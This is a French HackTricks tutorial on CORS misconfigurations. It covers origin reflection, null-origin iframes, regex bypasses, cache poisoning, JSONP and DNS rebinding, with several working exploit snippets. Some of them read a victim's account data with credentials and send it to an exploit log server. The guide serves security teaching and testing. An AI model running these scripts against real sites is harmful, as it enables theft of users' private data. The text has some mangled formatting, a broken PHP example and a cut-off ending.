26 KiB
CORS - Mauvaises configurations et contournement
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Qu'est-ce que CORS ?
La norme CORS (partage de ressources entre origines multiples) est nécessaire car elle permet aux serveurs de spécifier qui peut accéder à ses ressources et quelles méthodes de requête HTTP sont autorisées à partir de ressources externes.
Une politique de même origine exige que le serveur demandeur d'une ressource et le serveur où se trouve la ressource utilisent le même protocole ([http://), nom de domaine](http://), nom de domaine) et le même port (80). Ensuite, si le serveur force la politique de même origine, seules les pages web du même domaine et du même port pourront accéder aux ressources.
Le tableau suivant montre comment la politique de même origine sera appliquée dans http://normal-website.com/example/example.html
:
URL accédée | Accès autorisé ? |
---|---|
http://normal-website.com/example/ |
Oui : même schéma, domaine et port |
http://normal-website.com/example2/ |
Oui : même schéma, domaine et port |
https://normal-website.com/example/ |
Non : schéma et port différents |
http://en.normal-website.com/example/ |
Non : domaine différent |
http://www.normal-website.com/example/ |
Non : domaine différent |
http://normal-website.com:8080/example/ |
Non : port différent* |
*Internet Explorer autorisera cet accès car IE ne prend pas en compte le numéro de port lors de l'application de la politique de même origine.
En-tête Access-Control-Allow-Origin
La spécification de Access-Control-Allow-Origin
permet plusieurs origines, ou la valeur null
, ou le joker *
. Cependant, aucun navigateur ne prend en charge plusieurs origines et il y a des restrictions sur l'utilisation du joker *
. (Le joker ne peut être utilisé seul, cela échouera Access-Control-Allow-Origin: https://*.normal-website.com
et il ne peut pas être utilisé avec Access-Control-Allow-Credentials: true)
Cet en-tête est renvoyé par un serveur lorsqu'un site Web demande une ressource inter-domaines, avec un en-tête Origin
ajouté par le navigateur.
En-tête Access-Control-Allow-Credentials
Le comportement par défaut des demandes de ressources inter-domaines est que les demandes sont transmises sans informations d'identification telles que les cookies et l'en-tête d'autorisation. Cependant, le serveur inter-domaines peut autoriser la lecture de la réponse lorsque les informations d'identification sont transmises en définissant l'en-tête CORS Access-Control-Allow-Credentials
sur true
.
Si la valeur est définie sur true
, le navigateur enverra des informations d'identification (cookies, en-têtes d'autorisation ou certificats client TLS).
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
Requête préalable
Dans certaines circonstances, lorsqu'une requête entre domaines est :
- inclut une méthode HTTP non standard (HEAD, GET, POST)
- inclut de nouveaux en-têtes
- inclut une valeur d'en-tête Content-Type spéciale
{% hint style="info" %} Vérifiez dans ce lien les conditions d'une requête pour éviter l'envoi d'une requête préalable {% endhint %}
la requête entre domaines est précédée d'une requête utilisant la méthode OPTIONS
, et le protocole CORS nécessite une vérification initiale des méthodes et des en-têtes autorisés avant de permettre la requête entre domaines. Cela s'appelle la vérification préalable. Le serveur renvoie une liste de méthodes autorisées en plus de l'origine de confiance et le navigateur vérifie si la méthode demandée par le site Web est autorisée.
{% hint style="danger" %} Notez que même si une requête préalable n'est pas envoyée parce que les conditions de la "requête régulière" sont respectées, la réponse doit avoir les en-têtes d'autorisation ou le navigateur ne pourra pas lire la réponse de la requête. {% endhint %}
Par exemple, ceci est une requête préalable qui cherche à utiliser la méthode PUT
avec un en-tête de requête personnalisé appelé Special-Request-Header
:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
Le serveur pourrait renvoyer une réponse comme celle-ci :
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers
: Les en-têtes autorisésAccess-Control-Expose-Headers
: Les en-têtes exposésAccess-Control-Max-Age
: Définit une durée maximale pour mettre en cache la réponse préalable pour une réutilisation ultérieureAccess-Control-Request-Headers
: L'en-tête que la requête cross-origin souhaite envoyerAccess-Control-Request-Method
: La méthode que la requête cross-origin souhaite utiliserOrigin
: Origine de la requête cross-origin (définie automatiquement par le navigateur)
Notez que généralement (selon le type de contenu et les en-têtes définis), dans une requête GET/POST, aucune requête préalable n'est envoyée (la requête est envoyée directement), mais si vous voulez accéder aux en-têtes/corps de la réponse, elle doit contenir un en-tête Access-Control-Allow-Origin qui l'autorise.
Par conséquent, CORS ne protège pas contre les attaques CSRF (mais peut être utile).
Requête préalable pour les requêtes de réseau local
Lorsqu'une requête est envoyée à une adresse IP de réseau local, 2 en-têtes CORS supplémentaires sont envoyés :
- L'en-tête de requête client
Access-Control-Request-Local-Network
indique que la requête est une requête de réseau local - L'en-tête de réponse serveur
Access-Control-Allow-Local-Network
indique qu'une ressource peut être partagée en toute sécurité avec des réseaux externes
Une réponse valide autorisant la requête de réseau local doit également contenir dans la réponse l'en-tête Access-Controls-Allow-Local_network: true
:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
{% hint style="warning" %} Notez que l'adresse IP linux 0.0.0.0 fonctionne pour contourner ces exigences pour accéder à localhost car cette adresse IP n'est pas considérée comme "locale".
Il est également possible de contourner les exigences du réseau local si vous utilisez l'adresse IP publique d'un point de terminaison local (comme l'adresse IP publique du routeur). Car dans plusieurs cas, même si l'adresse IP publique est utilisée, si elle est du réseau local, l'accès sera autorisé.
{% endhint %}
Configurations mal configurées exploitables
Notez que la plupart des attaques réelles nécessitent que Access-Control-Allow-Credentials
soit défini sur true
car cela permettra au navigateur d'envoyer les informations d'identification et de lire la réponse. Sans informations d'identification, de nombreuses attaques deviennent sans objet ; cela signifie que vous ne pouvez pas utiliser les cookies d'un utilisateur, il n'y a donc souvent rien à gagner en faisant en sorte que leur navigateur émette la demande plutôt que de l'émettre vous-même.
Une exception notable est lorsque l'emplacement réseau de la victime fonctionne comme une sorte d'authentification. Vous pouvez utiliser le navigateur d'une victime comme proxy pour contourner l'authentification basée sur l'adresse IP et accéder aux applications intranet. En termes d'impact, cela est similaire au rebinding DNS, mais beaucoup moins compliqué à exploiter.
Réflexion de l'Origin
dans Access-Control-Allow-Origin
Dans le monde réel, cela ne peut pas arriver car ces 2 valeurs des en-têtes sont interdites ensemble.
Il est également vrai que de nombreux développeurs veulent autoriser plusieurs URL dans le CORS, mais les jokers de sous-domaine ou les listes d'URL ne sont pas autorisés. Ensuite, plusieurs développeurs génèrent l'en-tête **Access-Control-Allow-Origin
** dynamiquement, et à plus d'une occasion, ils copient simplement la valeur de l'en-tête Origin.
Dans ce cas, la même vulnérabilité pourrait être exploitée.
Dans d'autres cas, le développeur pourrait vérifier que le domaine (victimdomain.com) apparaît dans l'en-tête Origin, puis, un attaquant peut utiliser un domaine appelé attackervictimdomain.com
pour voler les informations confidentielles.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
L'origine null
null
est une valeur spéciale pour l'en-tête Origin. La spécification mentionne qu'elle est déclenchée par des redirections et des fichiers HTML locaux. Certaines applications peuvent autoriser l'origine null
pour prendre en charge le développement local de l'application.
C'est pratique car plusieurs applications autoriseront cette valeur dans le CORS et n'importe quel site web peut facilement obtenir l'origine null en utilisant un iframe sandboxed :
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Bypasses Regexp
Si vous avez trouvé que le domaine victim.com est whitelisted, vous devriez vérifier si victim.com.attacker.com est également whitelisted, ou, dans le cas où vous pouvez prendre le contrôle de certains sous-domaines, vérifiez si somesubdomain.victim.com est whitelisted.
Bypasses Regexp avancés
La plupart des regex utilisées pour identifier le domaine à l'intérieur de la chaîne se concentreront sur les caractères alphanumériques ASCII et .-
. Ensuite, quelque chose comme victimdomain.com{.attacker.com
à l'intérieur de l'en-tête Origin sera interprété par la regexp comme si le domaine était victimdomain.com
, mais le navigateur (dans ce cas Safari prend en charge ce caractère dans le domaine) accédera au domaine attacker.com
.
Le caractère _
(dans les sous-domaines) est non seulement pris en charge dans Safari, mais également dans Chrome et Firefox!
Ensuite, en utilisant l'un de ces sous-domaines, vous pourriez contourner certaines regex "communes" pour trouver le domaine principal d'une URL.
Pour plus d'informations et de paramètres sur ce contournement, consultez: https://www.corben.io/advanced-cors-techniques/ et https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
Depuis XSS à l'intérieur d'un sous-domaine
Un mécanisme de défense que les développeurs utilisent contre l'exploitation de CORS est de mettre en liste blanche les domaines qui demandent fréquemment l'accès aux informations. Cependant, ce n'est pas entièrement sécurisé, car si même un des sous-domaines du domaine whitelisted est vulnérable à d'autres exploits tels que XSS, cela peut permettre l'exploitation de CORS.
Prenons un exemple, le code suivant montre la configuration qui permet aux sous-domaines de requester.com d'accéder aux ressources de provider.com.
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}
En supposant qu'un utilisateur ait accès à sub.requester.com mais pas à requester.com, et en supposant que sub.requester.com
est vulnérable à XSS. L'utilisateur peut exploiter provider.com
en utilisant la méthode d'attaque par script intersite.
Empoisonnement du cache côté serveur
Si les étoiles sont alignées, nous pourrions utiliser l'empoisonnement du cache côté serveur via l'injection d'en-tête HTTP pour créer une vulnérabilité XSS stockée.
Si une application reflète l'en-tête Origin sans même le vérifier pour des caractères illégaux comme ,
nous avons effectivement une vulnérabilité d'injection d'en-tête HTTP contre les utilisateurs IE/Edge car Internet Explorer et Edge considèrent \r (0x0d) comme un terminateur d'en-tête HTTP valide : GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer voit la réponse comme :
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
Ce n'est pas directement exploitable car il n'y a aucun moyen pour un attaquant de faire envoyer un en-tête malformé à un navigateur web, mais je peux manuellement créer cette requête dans Burp Suite et un cache côté serveur peut enregistrer la réponse et la servir à d'autres personnes. La charge utile que j'ai utilisée changera l'ensemble de caractères de la page en UTF-7, ce qui est notoirement utile pour créer des vulnérabilités XSS.
Empoisonnement du cache côté client
Vous avez peut-être déjà rencontré une page avec un XSS réfléchi dans un en-tête HTTP personnalisé. Disons qu'une page web reflète le contenu d'un en-tête personnalisé sans l'encoder :
GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert\(1\)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert\(1\)>\
Avec CORS, nous pouvons envoyer n'importe quelle valeur dans l'en-tête. En soi, cela est inutile car la réponse contenant notre JavaScript injecté ne sera pas rendue. Cependant, si "Vary: Origin" n'a pas été spécifié, la réponse peut être stockée dans le cache du navigateur et affichée directement lorsque le navigateur accède à l'URL associée. J'ai créé un fiddle pour tenter cette attaque sur une URL de votre choix. Étant donné que cette attaque utilise la mise en cache côté client, elle est en fait assez fiable.
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>
Contournement
XSSI (Inclusion de script entre sites) / JSONP
XSSI désigne une sorte de vulnérabilité qui exploite le fait que, lorsqu'une ressource est incluse à l'aide de la balise script
, la SOP ne s'applique pas, car les scripts doivent pouvoir être inclus entre domaines. Un attaquant peut ainsi lire tout ce qui a été inclus à l'aide de la balise script
.
Cela est particulièrement intéressant en ce qui concerne le JavaScript dynamique ou JSONP, lorsque des informations d'autorité ambiante telles que les cookies sont utilisées pour l'authentification. Les cookies sont inclus lors de la demande d'une ressource à partir d'un hôte différent. Plugin BurpSuite : https://github.com/kapytein/jsonp
En savoir plus sur les différents types de XSSI et comment les exploiter ici.
Essayez d'ajouter un paramètre de rappel (callback
) dans la requête. Peut-être que la page était préparée pour envoyer les données sous forme de JSONP. Dans ce cas, la page renverra les données avec Content-Type: application/javascript
, ce qui contournera la politique CORS.
Contournement facile (inutile ?)
Vous pouvez demander à une application web de faire une demande pour vous et de renvoyer la réponse. Cela contournera le Access-Control-Allow-Origin
, mais notez que les informations d'identification de la victime finale ne seront pas envoyées car vous contacterez un domaine différent (celui qui fera la demande pour vous).
CORS-escape fournit un proxy qui transmet notre requête ainsi que ses en-têtes, et il falsifie également l'en-tête Origin (Origin = domaine demandé). Ainsi, la politique CORS est contournée.
Le code source est sur Github, vous pouvez donc héberger le vôtre.
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
La mise en place d'un proxy est un peu comme "transmettre" votre demande, exactement comme vous l'avez envoyée. Nous pourrions résoudre cela d'une manière alternative qui implique toujours que quelqu'un d'autre fasse la demande pour vous, mais cette fois, au lieu de transmettre votre demande, le serveur fait sa propre demande, mais avec les paramètres que vous avez spécifiés.
Contournement Iframe + Popup
Vous pouvez contourner les vérifications CORS telles que e.origin === window.origin
en créant un iframe et en ouvrant une nouvelle fenêtre à partir de celui-ci. Plus d'informations sur la page suivante :
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
DNS Rebinding via TTL
Essentiellement, vous faites accéder la victime à votre page, puis vous changez le DNS de votre domaine (l'IP) et le faites pointer vers la page web de votre victime. Vous faites exécuter quelque chose à votre victime (JS) lorsque le TTL est terminé, de sorte qu'une nouvelle demande DNS sera effectuée et que vous pourrez alors recueillir les informations (comme vous maintenez toujours l'utilisateur dans votre domaine, il n'enverra aucun cookie au serveur de la victime, donc cette option abuse des privilèges spéciaux de l'IP de la victime).
Même si vous définissez le TTL très bas (0 ou 1), les navigateurs ont un cache qui vous empêchera d'abuser de cela pendant plusieurs secondes/minutes.
Ainsi, cette technique est utile pour contourner les vérifications explicites (la victime effectue explicitement une demande DNS pour vérifier l'IP du domaine et lorsque le bot est appelé, il fera le sien).
Ou lorsque vous pouvez avoir un utilisateur/bot sur la même page pendant une longue période (vous pouvez donc attendre que le cache expire).
Si vous avez besoin de quelque chose de rapide pour abuser de cela, vous pouvez utiliser un service comme https://lock.cmpxchg8b.com/rebinder.html.
Si vous voulez exécuter votre propre serveur de rebinding DNS, vous pouvez utiliser quelque chose comme DNSrebinder, puis exposer votre port local 53/udp, créer un registre A pointant vers celui-ci (ns.example.com), et créer un registre NS pointant vers le sous-domaine A précédemment créé (ns.example.com).
Ensuite, tout sous-domaine de ce sous-domaine (ns.example.com) sera résolu par votre hôte.
Consultez également le serveur en cours d'exécution publiquement dans http://rebind.it/singularity.html
DNS Rebinding via DNS Cache Flooding
Comme expliqué dans la section précédente, les navigateurs ont les adresses IP des domaines mises en cache plus longtemps que celle spécifiée dans le TTL. Cependant, il existe un moyen de contourner cette défense.
Vous pouvez avoir un service worker qui inondera le cache DNS pour forcer une deuxième demande DNS. Ainsi, le flux sera comme suit :
- La demande DNS a répondu avec l'adresse de l'attaquant
- Le service worker inonde le cache DNS (le nom de serveur attaquant mis en cache est supprimé)
- Deuxième demande DNS cette fois a répondu avec 127.0.0.1
Le bleu est la première demande DNS et l'orange est l'inondation.
DNS Rebinding via Cache
Comme expliqué dans la section précédente, les navigateurs ont les adresses IP des domaines mises en cache plus longtemps que celle spécifiée dans le TTL. Cependant, il existe un autre moyen de contourner cette défense.
Vous pouvez créer 2 enregistrements A (ou 1 avec 2 IPs, selon le fournisseur) pour le même sous-domaine dans le fournisseur DNS et lorsque le navigateur les vérifie, il les obtiendra tous les deux.
Maintenant, si le navigateur décide d'utiliser l'adresse IP de l'attaquant en premier, l'attaquant pourra servir la charge utile qui effectuera des demandes HTTP vers le même domaine. Cependant, maintenant que l'attaquant connaît l'IP de la victime, il cessera de répondre au navigateur de la victime.
Lorsque le navigateur constate que le domaine ne lui répond pas, il utilisera la deuxième IP donnée, donc il accédera à un endroit différent en contournant SOP. L'attaquant peut en profiter pour obtenir les informations et les exfiltrer.
{% hint style="warning" %}
Notez que pour accéder à localhost, vous devriez essayer de réassocier 127.0.0.1 dans Windows et 0.0.0.0 dans Linux.
Des fournisseurs tels que Godaddy ou Cloudflare ne m'ont pas permis d'utiliser l'adresse IP 0.0.0.0, mais AWS route53 m'a permis de créer un enregistrement A avec 2 IPs dont l'une était "0.0.0.0"
Pour plus d'informations, vous pouvez consulter https://unit42.paloaltonetworks.com/dns-rebinding/
Autres contournements courants
- Si les adresses IP internes ne sont pas autorisées,